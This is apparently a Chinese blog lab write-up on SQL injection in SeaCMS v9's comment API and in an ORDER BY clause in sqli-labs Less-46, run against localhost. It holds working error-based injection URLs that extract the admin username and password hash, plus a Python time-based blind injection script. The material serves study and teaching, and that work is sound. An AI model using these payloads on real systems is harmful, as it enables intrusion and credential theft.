seacmsv9sql注入+order by+information_schema过滤

最新推荐文章于 2025-03-31 09:25:20 发布

.Eric.

最新推荐文章于 2025-03-31 09:25:20 发布

阅读量1k

点赞数 22

文章标签：安全

本文链接：https://blog.youkuaiyun.com/2201_76045651/article/details/146349463

版权

1.seacmsv9sql注入：

1.seacms介绍

seams是一款基于 PHP 和 MySQL 的开源内容管理系统（CMS），主要用于搭建视频分享网站、电影网站、电视剧网站等多媒体内容平台。它提供了丰富的功能和模块，适合快速搭建和运营视频类网站。

2.漏洞分析

seacmsv9漏洞文件：./comment/api/index.php
漏洞参数：$rlist

3.漏洞源码

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	


function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

4.报错注入

http://127.0.0.1/seacms-v9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20updatexml(1,%20concat_ws(0x20,%200x5c,(user())),1),@`%27`

证明可以爆出数据

在开源状态下，提取用户名密码；

账号信息在sea_admin中，我们先在mysql中尝试查询后再采用报错注入；

当然是再我们知道columns的前提下进行报错注入、

http://127.0.0.1/seacms-v9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20updatexml(1,%20concat_ws(0x20,%200x5c,(select%23%0aname%20from%23%0asea_admin)),1),@`%27`

但此时浏览器界面无回显导致注入失败，用wireshark抓包尝试找到问题所在

注入sql语句中出现sea_comment,去mysql中查询表为空所以按照查询提示增加表内容

mysql> insert into sea_comment (id, uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote)
    -> values
    -> (1, 2, 3, 4, 'root1', '172.25.254.4', 1, 1111111111, 'mapshs', 0, 0, 0, 0, 'hah.jpg', 0),
    -> (5, 6, 7, 8, 'root2', '172.25.254.19', 1, 2222222222, 'mapshs', 0, 0, 0, 0, 'haha.jpg', 0);
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

此时再进行报错注入

页面正常回显

http://127.0.0.1/seacms-v9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20updatexml(1,%20concat_ws(0x20,%200x5c,(select%23%0apassword%20from%23%0asea_admin)),1),@`%27`

注入成功，用户名为admin，密码为md5后的结果，演算

2.order by

现今防御sql注入的手段以pdo防御最为安全，其主要采用了预编译的手段，预编译主要是将sql语句参数化，说明预编译的手段只能防御可参数化的sql注入，所以对于不可参数化的位置预编译也没有什么办法，其中以order by来举例

使用sqlilab中第46关

1.先尝试报错注入

可以爆出数据，在尝试能不能爆出其他数据

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=1%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x77),1)

可以爆出所有数据所以证明报错注入这个方法可行

2.时间盲注

先盲注试试

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(substr(database(),2,1)=%27e%27,username,password)

直接用脚本吧（时间比较慢）

import requests
import time

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # 构造时间盲注payload
            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
            # 传参
            params = {"sort": payload}
            start_time = time.time()
            # 异常处理
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
    inject_database(url)